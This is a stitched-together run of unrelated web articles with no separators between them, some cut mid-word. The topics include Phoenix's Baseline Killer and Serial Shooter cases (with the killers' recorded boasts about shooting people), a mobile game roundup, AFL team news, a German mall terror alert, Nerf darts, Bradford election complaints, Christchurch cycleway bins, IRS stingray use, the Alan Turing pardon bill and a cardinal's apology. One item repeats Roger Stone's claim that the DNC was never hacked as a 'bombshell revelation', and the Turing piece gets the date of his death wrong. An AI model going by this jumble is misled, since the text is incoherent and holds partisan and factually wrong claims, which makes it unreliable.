The other suspect was first known as the "Baseline Rapist,” because of his early victims near Baseline Road. Then when police connected the rapes to the murders, they changed his handle to the "Baseline Killer,” even though many of his targets were in the square-mile area between Indian School and Thomas Road and 24th and 32nd Streets.
Police circulated a sketch of a suspect: A light-skinned black man who wore a Gilligan-style fishing hat and a dreadlocks wig.
She screamed and the phone went dead
On June 29, 2006, the Baseline Killer struck again, in a terrifying lightning-quick attack that was caught on video and rocked the city of Phoenix.
At around 9:30 p.m., a woman named Carmen Miranda was talking on the phone to her boyfriend as she vacuumed her car at a car wash on Thomas Road at 29th Street. She told the boyfriend that a panhandler was approaching her. She screamed and the phone went dead.
The boyfriend called police. He called Miranda’s sons. They all raced to the car wash. Miranda was gone.
Hours later, Miranda was found dead in her car behind a building next door to the car wash: a bullet between her eyes and her pants unbuttoned.
But there was a surveillance camera at the car wash. Police woke the owner late at night to get at it. They shared the video with the media the next day.
A man washes his car at the car wash on Thomas Road where Carmen Miranda was killed on June 29, 2006. (Nick Oza/The Republic)
Blurrily onscreen, a man wearing a Gilligan hat and a dreadlocks wig shuffles up to Miranda. He abruptly grabs her and throws her into the back seat of the car. Then he gets in and drives off.
When TV stations broadcast the video, people realized the sudden ferocity of the attacks, and it fueled the city's terror.
Over the next days, I walked the streets of the neighborhood where Miranda had been snatched. I talked to women waiting for buses or tending shops along what should have been a peaceful neighborhood.
There had been robberies at the stores and restaurants and an ATM at 32nd Street and Thomas, murders up and down 24th Street, rapes along 32nd Street.
And the people I spoke to could recite every incident and every rumor that seemed to fit the pattern, but the police could not or would not confirm the information.
“We were speaking to a community of people who were so fearful for their families that it felt like an epidemic.” Former Phoenix police Officer Paul Penzone
That made them only more worried. The neighborhood was working-class. The women, especially those who worked at night, were watching over their shoulders.
Meanwhile, the rest of the Valley wondered if that car coming down the street while they were walking the dog was going to slow down so someone could shoot. And if so, where would they run?
Police held meetings to talk to neighborhoods affected by the killings.
“We were speaking to a community of people who were so fearful for their families that it felt like an epidemic,” former Phoenix police Officer Paul Penzone said.
Police held regular press conferences to share information with the media.
Still, the public remained confused about the two killers.
“I spent months trying to explain the differences between the two cases,” said Andy Hill, a retired Phoenix police sergeant, who became the public face of the investigation.
Phoenix Detective Clark Schwartzkopf added, “You couldn’t have two more different dynamics in these two murderers, but the public was mixed up.”
Camille Kimball, who wrote the book "A Sudden Shot" about the Serial Shooter case, summed it up
“That was part of the terror,” she said. “We didn’t know one from the other. The cops didn’t know one from the other."
Two task forces, hundreds of officers involved
To keep the cases straight, law enforcement came together across the Valley and created not one, but two task forces.
“There were 375 people involved in the Serial Shooter case,” Schwartzkopf said, and 100 on the street for the Baseline Killer.
Officers were working double shifts and overtime.
The Republic, like most media outlets, had its own task force. At least six reporters covered the cases full time. Others would be called in as things happened.
But neither the police nor the media knew enough. The public was terrified, because the killers struck in every kind of neighborhood, good and bad, rich and poor.
The Serial Shooters worked from Tolleson and Avondale to Mesa and Chandler.
The Baseline Killer even assaulted people in a parking lot used by patrons of a wine bar in the tiny Arcadia neighborhood of Phoenix.
And they struck without warning.
“There was an acknowledged crises,” Phil Gordon recalled. “Should we take our children to school? Should we go out at night? Should we cancel the Fourth of July?”
Billboards bearing the police sketch of the Baseline Killer went up all over the metro area. A reward of $100,000 was offered for information leading to either suspect.
But he remained at large.
“There was an acknowledged crises. Should we take our children to school? Should we go out at night? Should we cancel the Fourth of July?” Phil Gordon
Carmen Miranda would be the last of the Baseline Killer victims. After June 29, the killer went into hiding.
But the Serial Shooter amped up in July 2006, wounding eight more people and killing the last victim on July 30, a young woman talking on the phone while walking to a friend’s house in Mesa. She felt so safe that she was wearing pajamas.
By then, the Baseline Killer had forced himself on at least 33 victims over 13 attacks and killed eight women and one man.
The Serial Shooter case had eight dead — though police still suspect at least four more murders that they could never conclusively prove were related. Eighteen more had been wounded, and at least 10 animals had also been killed.
Police worked around the clock. The public waited fearfully.
By the end of the month, there had been no arrests.
. Part 2: Chasing the Serial Shooter
Five hundred to a thousand people a day called in to the Silent Witness hotline with tips on the Serial Shooter and the Baseline Killer.
“We got calls from every part of society, and we took it seriously,” said former Phoenix police Officer Paul Penzone, who ran Silent Witness at the time.
He called the $100,000 rewards for information leading to the arrest of either “two lottery tickets."
In the case of the Serial Shooter, the lottery paid out.
Robin Blasnek.
(Photo: Special for The Republic)
A man named Sam Dieteman was a regular at a northwest Phoenix tavern called the Star Dust Inn. And once when he was drunk — and he was always drunk — he became remorseful, and he confessed to some of the shootings to his friend Ron Horton.
On July 30, 2006, a young woman named Robin Blasnek was shot and killed as she walked in her Mesa neighborhood. Horton felt responsible and realized he might have been able to prevent her death if he had called police.
Horton dropped a dime. He gave police Dieteman’s cellphone number, which they traced. And he also provided them with the name of a man with whom Dieteman had once lived: Jeff Hausner. Police put Hausner's apartment under surveillance.
And they asked Horton to arrange to meet Dieteman for drinks.
On Aug. 1, 2006, the task force staked out the Star Dust Inn, with undercover officers inside and out. Phoenix police Detective Clark Schwartzkopf was sitting in an unmarked car in the parking lot when a light-blue Toyota Camry pulled in.
“That’s our car,” he recalled thinking. “It was an enormous relief. I’ve got the car. I’ve got the guys.”
“It was an enormous relief. I’ve got the car. I’ve got the guys.” Phoenix police Detective Clark Schwartzkopf
The officers ran the plates. The number came back to Dale Hausner.
They had already heard of Jeff Hausner, but it was the first police became aware of his younger brother Dale.
Hausner dropped off Dieteman at the bar, then drove away. Officers followed Hausner as he drove to the Metrocenter mall. When Hausner went into the mall, the officers put a GPS device on his car.
Then Hausner drove to Mesa, where he and Dieteman shared an apartment, taking the long way down Van Buren, as if casing out future victims, Schwartzkopf said.
Horton stayed behind at the bar with Dieteman, calling police detectives when Dieteman went to the bathroom, according to Camille Kimball's book "A Sudden Shot."
Then Horton drove Dieteman to Wild Horse Pass Hotel and Casino on Interstate 10. Horton tactfully asked Dieteman if he could find another way home. Dieteman told him Dale Hausner was coming to pick him up. Horton left.
Undercover police were there to watch Dieteman and Hausner as they talked inside the casino. Then they left for Hausner's car in the parking lot, stopping to open the trunk and take out a bag that was about the length of a shotgun.
Instead of heading directly for the apartment in Mesa, the Camry wandered into Chandler.
There were nine surveillance vehicles following, including from the air. The police officers in them realized with shock that Hausner and Dieteman were on the hunt, looking for victims, slowing down when someone passed on a bike.
“For an hour and a half we followed them as they cruised. It was the worst night of my law-enforcement career.” Phoenix police Detective Clark Schwartzkopf
They would make U-turns and wander into neighborhoods that were not on the way to anywhere.
“For an hour and a half we followed them as they cruised,” Schwartzkopf said. “It was the worst night of my law-enforcement career.”
Schwartzkopf and the other officers worried that the gun could come out of the window at any moment, and they would would not be able to intervene.
Hausner and Dieteman could kill someone right in front of them.
The undercover cars strategically passed one another, switching positions to avoid detection and also to foil the shooters.
After the Camry would pass by, one of the officers would shout out the window at people on the street and tell them to go home and take cover, he later told author Kimball.
“We were hoping and praying to God they wouldn’t shoot anybody,” Schwartzkopf said.
Dieteman and Hausner never got off a shot that night. The Camry drove back to the apartment in Mesa under the watchful eye of undercover officers.
The task force needed to act fast.
'What about the guy I shot at 27th... and Northern?'
The next day, Aug. 2, 2006, Phoenix police investigators met with County Attorney Andrew Thomas and his executive staff. Thomas approved their request for an emergency wiretap through a process that allows law enforcement to begin surveillance before a judge has signed off.
"The sun was starting to go down, and I did not want to take that chance of another loss of life," Thomas later testified in court when the legality of the wiretap was challenged.
At 11 p.m., detectives drove to the home of then-presiding criminal judge James Keppel to sign off on the emergency wiretap warrant and bugged Dieteman and Dale Hausner through a next-door apartment and recorded their conversation.
The officers couldn’t believe what they heard.
Hausner and Dieteman's apartment at the Windscape Apartments on Aug. 4, 2006, in Mesa. (David Kadlubowski/The Republic)
On the recording, according to transcripts, Dieteman tells Hausner, "On the 5 a.m. news, it was when they first said.... Phoenix and Mesa police have now officially linked the shooting death of a young Mesa woman to the serial killer, which now brings their total to six."
Hausner says, "It's higher than that. What about the guy I (expletive) shot on 27th Avenue...?"
Dieteman continues to tell Hausner that the police are working with the feds in other states looking for similar crimes and evidence.
Hausner: "So we're being copy-catted, Sam? We're pioneers, Sam? We're leading the way for a better life for everybody, Sam?"
“I love shooting people in the back. That's so much fun. That (expletive) old man I shot in the back.” Dale Hausner to Sam Dieteman
As police listened to the wiretap, Hausner talked about wanting to be the best serial killer ever. The two joked about the most recent murder, that of Robin Blasnek, and made cartoonish, mocking voices as he described her reaction.
Officers could hear the movie "The Jungle Book" in the background, playing for Hausner's toddler daughter.
Hausner says, "I love shooting people in the back. That's so much fun. That (expletive) old man I shot in the back."
Dietman says, "My favorite thing is, you know, when somebody is walking away... it gives me... an extra couple seconds to aim. I don't have to worry about them looking."
That night, Aug. 3, police made their |
oft made a strategy game! And it's pretty much like all the other strategic base-builders out there: build up your resources, create units, go out and wreck stuff, play a little defense, rinse and repeat. March of Empires even borrows the clan mechanic. It does offer a little variety with fancier graphics and some unit formations, but that's about it - the rest of the game is the same free-to-play cash grab you're already familiar with.
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Download now and March to your Destiny. Break away from reality and ascend to the throne through the art of war. Claim your title as Highland King, Northern Czar or Desert Sultan, and join this genre-redefining strategy game where you will wage constant war for real territorial conquest. Fortify your castle, fuel a massive army, and enter the ultimate fight for realm domination. But as your empire expands it’s bound to run into other ambitious lords, and only one emperor can dominate.
WTF Game(s) Of The Week
Sniper Who Forgot To Open Eyes
How can a sniper accomplish his mission if he never opens his eyes? Well... let's just say it's a good thing this game is free.
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WARNING: If you are looking for a serious sniper game, then run and hide and never come back....are you still here?! We would unlock an achievement for you but there is no such functionality implemented in Google Play. Get that achievement in the game.
• amazing Zero graphics - better than 8K in 120 FPS.
• eye-catching icon - pride of your app list.
• ultra-casual gameplay - so even your pet can be a sniper.
• pro mode - so you can beat your pet at least there.
• achievements - 'cause you deserve some recognition for playing the game.
• global leaderboards - including a leaderboard for how many times you've checked leaderboards.
• funny texts on 'loading' screens - but there is really no loading required.
• references to other games, moves, etc. - we make fun even from the game itself.
• no in-app purchases - just ads, 'cause who doesn't love them, right?
'Cause we don't take everything seriously. Once again :p
Know A Worthy New App? Let Us Know!
If you have an application in mind for the next issue of the roundup, feel free to send us an email and let us know.
Important: there are 2 requirements in order for the app to be considered, listed below.
the app's launch date has to be no longer than 2 weeks ago
it has to be original, ground-breaking, well-reviewed, interesting, fun, etc - the cream of the crop
Now, if and only if the above requirements have been satisfied, fire up an email to this address: [email protected].
1 sponsored placement per week is available (your app would be featured at the top and marked as sponsored) - please contact us for details.Footscray's Fletcher Roberts and Ayce Cordy attempt to mark the ball with Casey Scorpion's Jesse Hogan attempting to spoil during the VFL Round 19 match between Footscray and Casey Scorpions at Highgate Recreational Reserve on August 17, 2014. (Photo: Greg Ford/AFL Media)
Fletcher Roberts’ consistency in the VFL has seen him elevated to the Western Bulldogs squad as one of five inclusions to the 25-man side.
As the Bulldogs prepare to face the GWS Giants in their final game of the year, Will Minson, Jason Tutt, Tom Young, Liam Jones and Fletcher Roberts have been added to the 25 man squad.]
FINAL SQUADS: View the extended squads ahead of Sunday's Bulldogs clash against GWS Giants.
The game marks two milestones for the Bulldogs in veteran Daniel Giansiracusa’s final outing and Koby Stevens’ 50th career game.
Jordan Roughead has withdrawal from last week’s team that took on Sydney and will not play the final game of the season due to a shoulder complaint, while Ayce Cordy has been omitted.
Assistant Coach Steven King said the GWS Giants are a talent laden side and while they are still highly inexperienced, they are ranked fifth in the league for clearances and third for rebound 50s.
“They have young players that do love a contest that are competitive but they also are highly talented and they actually love to run and carry and use their skills out of stoppages,” King said.
“If we can bring our best pressure game as well, try to pressure the footy and keep it in our forward half, that will go a long way to determining the game.”
“We just have to bring our best effort defensively and around the ball.”
The midfield coach also said it was important for the Bulldogs playing group to use Giansiracusa’s farewell game as motivation to give everything out on the field and finish on the right note.
“For them as a playing group, milestones are always significant but I think when you get given the opportunity to know it is someone’s last game and he has been around the Club for so long, it’s important to send them off the right way and make sure you give them as good a day as possible,” he said.
“We’ve had the build-up during the week showing Daniel our respects and I just hope that the players realise how important this game is and that they can do the job for him – I’m sure they will give it their best effort.”
ROUND 23 - Western Bulldogs vs GWS Giants
Sunday 31 August 2014, 4:40pm
Venue: Etihad StadiumPolice have shut down a shopping centre in Police have shut down a shopping centre in Germany after receiving intelligence over a potential terror attack.
Authorities in Essen said the centre in Limbecker Platz was closed for "security reasons".
"Police have concrete indications of a possible attack," a spokesperson for North Rhine Westphalia Police said.
"In order to avoid possible danger to visitors, they will not be able to enter the shopping halls or the car park."
Limbecker Platz, in Essen, is one of Germany's largest shopping centres (Google Streetview )
“The current investigation indicates that the threat refers only to the shopping centre.”
The force said investigators were urgently looking into the origin of the attack threat using specialist forces, and has set up a phone number for concerned residents.
A notice was posted on the Limbecker Platz website, asking customers for their understanding as it remained closed on Saturday.
Opened in 2008, it is one of the largest shopping centres in Germany, containing around 200 businesses visited by more than 50,000 people a day.
The country remains on high alert following a series of Isis-inspired terror attacks, including the massacre of 12 people when a lorry was rammed into a Berlin Christmas market in December.
Following the large-scale attacks in Paris and Brussels, Isis propaganda has encouraged jihadis to carry out atrocities on “soft targets” like transport hubs that have little security.
The latest security alert in Germany comes days after a man injured seven people with an The latest security alert in Germany comes days after a man injured seven people with an axe in a rampage at Düsseldorf’s main railway station
Berlin Christmas market lorry attack
18 show all Berlin Christmas market lorry attack
1/18 Several people have been killed after a lorry drove into crowds at a Christmas market in Berlin REUTERS/Fabrizio Bensch
2/18 'At least nine' people have been killed and more than 50 injured. AP
3/18 Emergency Services rush a Berlin market victim to an ambulance Associated Press
4/18 Police cordoned off the square at Kaiser Wilhelm Memorial Church following the incident REUTERS
5/18 Rescue workers inspect the lorry that crashed into a Christmas market close to the Kaiser Wilhelm memorial church in Berlin EPA
6/18 Emergency crews inspect the lorry that ploughed into a Berlin Christmas market, killing at least nine people AFP
7/18 Fire crews attend the scene of the attack AFP/Getty
8/18 Armed police secure the site of a lorry attack at a Christmas market in Berlin REUTERS
9/18 Crushed debris is visible beneath the wheels of the vehicle REUTERS
10/18 An injured man is pushed to an ambulance REUTERS
11/18 Medics attend an injured person after the lorry attack which killed at least nine and injured more than 50 people AFP/Getty
12/18 Firefighters examine the lorry which was rammed into a Berlin Christmas market REUTERS
13/18 A person is carried into an ambulance REUTERS
14/18 View of the lorry that crashed into a Christmas market in Berlin, killing at least nine and injuring at least 50 people AFP/Getty
15/18 Rescue workers push a person on a stretcher to an ambulance Getty
16/18 Firefighters assess the damage after the lorry rammed the Christmas market, killing 'at least nine', and injuring more than 50 people AP
17/18 Firefighters stand beside a toppled Christmas tree at the site of the suspected terrorist attack in a Berlin Christmas market AP
18/18 Damaged stalls at the scene of the incident at a Berlin Christmas market where at least nine people have been killed EPA
Police said there was no indication of a link to terrorism and described the 36-year-old suspect as mentally ill.
Numerous arrests have been made over suspected terror plots, including an Numerous arrests have been made over suspected terror plots, including an Isis supporter found manufacturing explosives to bomb an airport in Berlin last year.
Germany’s federal prosecutor charged three suspected Isis members with Germany’s federal prosecutor charged three suspected Isis members with planning a terror attack in Düsseldorf
Officials said the two of the Syrian men, aged between 25 and 27, investigated smuggling routes to Europe for jihadis in 2014, sending several refugees as tests before journeying along the migrant route themselves in 2015.
They allegedly drew the third suspect into the plot and worked with an Isis bomb maker already deployed to Germany by commanders, planning to detonate two suicide bombs in Düsseldorf’s popular Old Town before other militants massacred as many passers-by with guns as possible.
The plan was thwarted after one of the conspirators turned himself into French authorities in February last year.
Security fears have put additional pressure on Angela Merkel as she campaigns for a fourth term as Germany's Chancellor, with anti-immigration parties boosted by concern over her refugee policy.REPORT: Democrats Leak New Info On Hacked DNC Server Accidentally (VIDEO)
After Roger Stone Jr. appeared before the House Intelligence Committee today, he stumbled upon a revelation that came in the form of an internal mixup between Congresspeople Schiff and Speier, both from California.
The revelation essentially revolves around the fact that Schiff and Speier both claim that the FBI was able to look at the DNC’s servers, which of course contradicts what both former-FBI Director James Comey and Homeland Security Secretary Johnson both asserted under oath.
Stones statement via Infowars can be read in full below:
“When I made the case that I did not believe that the DNC had been hacked by the Russians, in fact, that I believed that it had not been hacked at all, and made the point that the Democratic National Committee had refused to allow the FBI to inspect is servers, instead using a paid-for IT firm called CloudStrike, I was corrected by Congress[woman] Jackie Speier of California, who informed me that she now knew that the DNC had, in fact, turn over their servers to the FBI. This was, essentially, seconded by Congressman Adam Schiff of California, this came to an extraordinary surprise to Trey Gowdy, the Republican from South Carolina. Mr. Gowdy pointed out, to his Democratic colleagues, that FBI Director James Comey and Homeland Security Secretary Johnson, had both testified – under oath – to the House Intelligence Committee, that the FBI had not been allowed to examine the DNC servers. This is a bombshell revelation, somebody is lying. It is either Congressman Schiff and Congress[woman] Speier, or, of course, it is Mr. Comey and Secretary Johnson.”
Below is the video of Stone reporting on the story:
Read Mr. Stone’s full opening statement from today’s hearing below:
EXCLUSIVE: Read Roger Stone’s Opening Statement To Congressional Russia Investigators by Lucian Wintrich on ScribdIt looks like our latest Elite Suction Dart rumor gets solid clarity now. The Target USA website has very recently put up a listing for Elite Suction Darts. Or as the site calls them, “Elite Universal Suction Darts”. The 30 pack costs $9.99, just like a 30 pack of normal Elite Darts. At the moment, it currently isn’t available to buy online nor in stores.
With the listing appearing now, it seems like we’ll be getting these much sooner then the March 20, 2014 date that was listed in the Japan Toys R Us site. I speculate that the USA might possibly be getting these in the Winter in time for the holidays, in sort of the same vein as the upcoming Zombie Strike Crossfire Bow, Sidestrike, and Mega Magnus blaster.
I’m also starting to wonder now, will stores be selling these in a 75 pack as well?
You can check the rest of the post to see the listed production description and images they put up.
They’ll have all the ammo they need for their Nerf battles with a Nerf N-Strike Elite Universal Suction Darts 30-Pack. These Nerf suction darts work with all N-Strike Elite blasters. The Nerf darts are made of lightweight foam to fly fast and true. They even stick to most flat surfaces, so they’re fun for target practice. Ages 8 and up.
Online Item #: 14751758
Store Item Number (DPCI): 087-11-0394
Thanks to Containment Crew for the heads up.
AdvertisementsI saw that the KP levels were above 6 last night and raced out the door, a little bit later than I would have liked but I knew I still had time. I know that the darkest area of our state is in the northeast part (you can see this on darkskyfinder, a website with a dark map), so I headed down CO14 towards Briggsdale from Greeley and when I took the turn North on 392 I saw a wind farm in the distance and worked my way there because I knew it would be a great subject to give perspective in front of the sky.
The DSLR picks up the northern lights much better than our own eyes, so seeing them is incredibly difficult when there is any light pollution at all. You typically can tell they are there if you at least see a hint of white streaks or "pillars" which I saw last night. There was also a meteor shower going on at the same time, probably one every 5 minutes. With the temperatures not that cold it was an incredible night to view the night sky. This is the 3rd time I have captured the northern lights in Colorado but definitely the best one so far.EIGHT complaints of election wrong-doings have been passed to police in Bradford as the district prepares to go to the polls tomorrow.
Kersten England, Bradford Council's chief executive and Returning Officer, confirmed she had asked West Yorkshire Police to see if any election rules have been broken and she also pledged the council will work closely with the Force and Electoral Commission to make sure voters can have full confidence when the results are announced.
One of the complaints being reviewed has come from Wibsey's Independent candidate Khurram (Kaz) Shehzad.
Mr Shehzad alleges Wibsey Labour councillor Ralph Berry, who is not up for re-election, has been slandering him to voters.
“It’s basically defamation of character,” he said.
Mr Shehzad has also made a second allegation about Cllr Berry’s actions while out canvassing with council leader David Green, who hopes to retain the ward seat.
Mr Shehzad alleges Cllr Berry pressured one woman to take down Mr Shehzad’s election poster by saying he had helped her family in the past.
He said: “He’s come to her and said, ‘You need to support my friend here, otherwise we won’t be helping you’.”
When the Telegraph & Argus contacted Cllr Berry about the allegations he "absolutely refuted" pressuring anyone and said: "David Green was with me and we made no such request of that lady whatsoever. I absolutely refute that. It's a democracy. People can put up any posters they like. Some people have more than one person's poster up.
He added: "I certainly have not been slandering anyone. This has turned sour because he (Shehzad) got rejected from the Labour panel of candidates and was turned down. Up until that point he was praising me on Facebook and was my friend. I don't know what's got into his head.
"I have been electioneering for 25 years and taken part in some of the most hard-fought contests in this city but I have never interfered with anyone's expression or view."
Ms England said: "Seven other complaints have been received, which are being reviewed to identify if election rules have been broken.
"We will continue to work closely with the Electoral Commission and West Yorkshire Police to support democracy in fair and transparent elections, so the public can have full confidence in the outcomes."
West Yorkshire Police was yesterday unable to give details of those other complaints except to say Mr Shehzad's complaint had been made directly to the Electoral Commission.
Bradford Council Electoral Services was also staying tight-lipped on the other seven complaints.
A spokesman said: "Where complaints are received, alleging election rules may have been broken, they are always reported and dealt with robustly by the Returning Officer and the Police to establish if any criminality has occurred.
"As we work closely together, the seven other complaints received have also been forwarded to the police, but we are unable to share details, as that could prejudice any investigation that may be undertaken."
It comes as campaign was started yesterday by the Electoral Commission and Crimestoppers to urge voters not to stand for electoral fraud in the lead up to the elections.
Returning Officers across West Yorkshire have been provided with posters for polling stations across the region and posts detailing the different types of fraud and how to report it are also being promoted on Facebook and Twitter.
An Electoral Commission investigation found there were 481 cases of alleged electoral fraud recorded by the police in the UK last year.
Tom Hawthorn, its head of policy, said: “It's important that voters have confidence in the voting process.
"Proven cases of electoral fraud remain relatively rare across the UK, but we shouldn’t underestimate the impact that fraud can have. We know from our work that it is campaigners, candidates and their supporters who commit electoral fraud and voters who are the victims."
Mark Hallas, CEO of Crimestoppers, said: “Electoral fraud is a crime and it is our duty to help bring to justice those who are responsible for it but also to help to educate the public, so that voters can recognise electoral fraud and report it if they know it’s happening.”
Thirty seats on Bradford Council - one-third of the total - are up for grabs when polling station doors open across the district.
Labour currently holds a narrow majority on the council, with the Conservatives forming the official opposition.
This year, voting also coincides with the election of a Police and Crime Commissioner for West Yorkshire.Domestic wheelie rubbish and recycling bins block cyclists from using their dedicated cycle lane on Colombo St on the north side of Bealey Ave on Fridays.
Every Friday, Christchurch cyclists on their morning commute ride a gauntlet of wheelie bins on Colombo St.
A new cycleway north of Bealey Ave means residents can no longer leave their bins on the roadside for collection.
Bins were left willy-nilly over the cycle lane on Friday morning.
STACY SQUIRES/STUFF This cyclist chose the road over the wheelie bin guantlet
When the rubbish truck came, a rubbish collector placed the bins in straight lines – some on the side of the cycleway and some on the concrete island separating it from the road.
READ MORE:
* Christchurch businesses fear for future if planned cycleway through Linwood Village not changed
* $18 million 'overspend' as city council tries to limit Christchurch cycleways disruption
* Cycleway's encroachment into rare bird habitat'significant and unnecessary'
* Christchurch cycleway sections given green light, but businesses attack Ferry Rd plan
* Christchurch cycleway blamed for near closure of business
Residents say Christchurch City Council did not tell them where to leave their bins, so they put them in the cycleway.
Resident Ute Jakobi said the cycleway was "rubbish".
She said she did not put her bin in the middle of the cycleway, but sometimes the rubbish truck left them disorderly.
"The council didn't tell us where to put them, on the smaller [island] or on the side where we always used to have to put them? You know, we have no idea."
Jakobi said neighbours she spoke to were unhappy with the cycleway, which took up space that was once car parks.
She said she had seen cyclists riding the wrong way on the cyleways.
"And sometimes you see them still on the road."
Jakobi said driving was difficult on the road because there was no way to pass rubbish trucks and buses when they stopped.
"It's a hazard and a hassle."
Another resident, Kavya Ravy, said she put her bin on the concrete island, but did not know if that was the correct thing to do.
"We've not received any instructions regarding the bin."
She said the truck often moved the bin further down the road and she had to go find it after it was emptied.
Ravy said few cyclists used the cycleway and it was a "waste of time".
Her main complaint was about the lack of parking spaces, forcing visitors to park far away.
"That's a big issue for us."
Council acting head of transport Lynette Ellis said bins would be placed on the berm in future and the collection truck would "straddle" the cycle lane to collect them.
The bins would then be placed back on the berm after being emptied, staying clear of the cycleway.
"The streets where this is planned may be collected early in the pickup runs which start at 6am, limiting the impact the rubbish collection has on the flow of cyclists."
Each type of cycleway being built around the city would have a specific location for wheelie bins to go, but "bin location templates" were still being finalised, she said.
"Leaflets will be hand-delivered to the residents with drawings showing where the bins are to be placed for each property."
The locations would be "non-obstructive" and allow cyclists to still travel along the road.
"Council will continue to monitor the bins and will send reminder leaflets to residents if bins are being incorrectly placed," Ellis said.
"We are not anticipating needing to make significant change to the design of the future cycleways to accommodate the bins."
* Comments on this story are now closed.The head of the Internal Revenue Service told a Senate committee on Tuesday that its stingrays are "only used in criminal investigations."
The remarks came just one day after The Guardian revealed that the IRS had purchased the devices in 2009 and 2012.
Stingrays, also known as cell-site simulators, can be used to determine a phone’s location by spoofing a cell tower, and in some cases they can intercept calls and text messages. Once deployed, the devices intercept data from a target phone as well as information from other phones within the vicinity.
Many federal and local law enforcement agencies, including the FBI and the Department of Homeland Security, use the devices—but it's somewhat surprising that America’s top tax cop is also a user. Few agencies have been particularly forthright in describing exactly what the capabilities of the devices are and how they are used and under what circumstances.
"It is only used in criminal investigations," Commissioner John Koskinen testified before Sen. Ron Wyden (D-Ore.) and the rest of the Senate Finance Committee. "It can only be used with a court order. It can only be used based on probable cause of criminal activity. What it does is to primarily allow you to see point-to-point, where communications are taking place. It does not allow you to overhear—the technique doesn’t—voice communications. You may pick up texting. But what I would stress is that it does follow Justice Department rules. It requires a court order. It requires probable cause with regard to criminal investigations. It is not used in civil matters at all. It is not used by other employees of the IRS."
Koskinen was unable to provide the number of times that stingrays had been used, but he promised that he would do so in writing to Sen. Wyden within 30 days.
As far as the IRS' current practice goes, it's worth noting that a court order, typically written under the guise of the federal pen register statute, carries a lower legal burden than a warrant, which requires a showing of probable cause. IRS spokesman Bruce Friedland did not respond to Ars' question as to why—if it has probable cause of criminal activity—the IRS does not always file warrant applications when it wants to deploy stingrays.
However, a former top IRS official who has been out of the agency for several years told Ars, "I only know that to my knowledge and other very experienced tax counsel in the US, we have never seen it in a tax case."
This technique of opting for the pen register is not new. In the pre-cellphone era, a "pen register/trap and trace order" allowed law enforcement to obtain someone's calling metadata in near real-time from the telephone company. These days, that same data can also be gathered directly by the cops themselves through the use of a stingray. In some cases, police have gone to judges asking for such a device or have falsely claimed a confidential informant while in fact deploying this particularly sweeping and invasive surveillance tool.
Most judges are likely to sign off on a pen register application, not fully understanding that police are actually asking for permission to use a stingray. Under federal law, pen registers are granted under a very low standard: authorities must simply show that the information obtained from the pen register is "relevant to an ongoing criminal investigation."
Again, getting a judge to sign off on a pen register is a far lower standard than being forced to show probable cause for a search warrant or wiretap order. A wiretap requires law enforcement to not only specifically describe the alleged crimes but also to demonstrate that all other means of investigation have been exhausted or would fail if they were attempted.
The IRS commissioner's remarks came less than a week after the Department of Homeland Security, which oversees various agencies including the Secret Service and Customs and Border Protection, said that it would implement a new formal policy on stingray use.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A pardon may be given to late gay codebreaker Alan Turing as peers in the House of Lords gave a bill to to just that its Second Reading today.
The Alan Turing (Statutory Pardon) Bill was introduced in the House of Lords for its first reading in May by Liberal Democrat peer Lord (John) Sharkey.
On Friday peers demanded that he be given the pardon, as the bill went through its Second Reading.
Lord Ahmad of Wimbledon, a government whip, said the Government would support the bill once it goes to the House of Commons, meaning that Alan Turing should be granted a pardon.
“When his country needed him he stepped forward and he played his part to ensure the democracy and the freedoms we all enjoy today,” he said.
If Turing was still alive, he would be eligible to erase his criminal record of historic gay sex crimes. David Cameron first made the pledge to wipe criminal records on PinkNews.co.uk in 2010.
Lord Sharkey said that Turing had been subjected to “terrible cruelty” and said that the UK and its Government owe him a debt. “The government knows that Turing is a hero and a very great man, they acknowledge he was cruelly treated,” he said.
Conservative peer Baroness Trumpington who also worked at Bletchley Park during World War II, offered her support for the bill.
“This is not about legal issues but about recognising the debt that this country owes to Alan Turing,” she said.
“I cannot claim that I knew him but I am certain that, but for his work, we would have lost the war through starvation.”
Labour peer Baroness Dean speculated on further benefits the UK would have had if Turing had lived, and noting an apology by then Prime Minister Gordon Brown in 2009, saying it was “not enough”.
MP for Manchester Withington John Leech has led the campaign for Alan Turing to be granted a posthumous pardon.
He said: “Given that all party support for the campaign, I am confident the bill will be passed in the Commons. The persecution by the state for being gay is a scandal that shouldn’t be allowed to stand and it is only right that we are pushing for this posthumous pardon. Alan Turing was a Manchester hero and a national hero. He helped shorten the war and was then persecuted by the state for his sexuality. He should be pardoned and this would be a fitting way of saluting his memory.”
The gay mathematical genius and codebreaker was the effective inventor of the modern computer and a key driver behind the victory over the Nazis.
He killed himself in 1952, two years after being sentenced to chemical castration.
Justice Minister Lord McNally last year said of the prospect of a pardon: “A posthumous pardon was not considered appropriate as Alan Turing was properly convicted of what at the time was a criminal offence. He would have known that his offence was against the law and that he would be prosecuted.
“It is tragic that Alan Turing was convicted of an offence which now seems both cruel and absurd – particularly poignant given his outstanding contribution to the war effort.
“However, the law at the time required a prosecution and, as such, long-standing policy has been to accept that such convictions took place and, rather than trying to alter the historical context and to put right what cannot be put right, ensure instead that we never again return to those times.”
In 2009, after a campaign led by Richard Dawkins, Stephen Fry and Peter Tatchell and supported by PinkNews.co.uk, the then prime minister Gordon Brown issue an apology for Turing’s treatment on behalf of the British government.
Speaking last year Liberal Democrat peer, Lord Sharkey, said he said it would give Turing the pardon he “so clearly deserves”.Chicago's Cardinal Francis George apologized Friday for remarks aired on Christmas Day comparing the gay pride parade to the Ku Klux Klan.
"I am truly sorry for the hurt my remarks have caused," George said in an interview with the Tribune. "Particularly because we all have friends or family members who are gay and lesbian. This has evidently wounded a good number of people. I have family members myself who are gay and lesbian, so it's part of our lives. So I'm sorry for the hurt."
George's initial comments came in response to questions about whether the new route assigned to next summer's gay pride parade would interrupt morning services at Our Lady of Mount Carmel Church in the Lakeview neighborhood. That dispute was resolved before Christmas, when parade organizers agreed to change the start time of the event.
"When I was talking, I was speaking out of fear that I have for the church's liberty and I was reaching for an analogy which was very inappropriate, for which I'm sorry," George said. "I didn't realize the impact of what I was saying.... Sometimes fear is a bad motivation."
In his comments, broadcast on Fox Chicago television on Christmas, George addressed what he perceives to be religious discrimination in the name of gay rights. While discussing the pride parade, he cited the anti-Catholicism of the KKK in the early 1940s.
"You know, you don't want the gay liberation movement to morph into something like the Ku Klux Klan, demonstrating in the streets against Catholicism." George told the Fox Chicago reporters. "So I think if that's what's happening, and I don't know that it is, but I would respect the local pastor's, you know, position on that."
George said he didn't expect the public uproar over the comments.
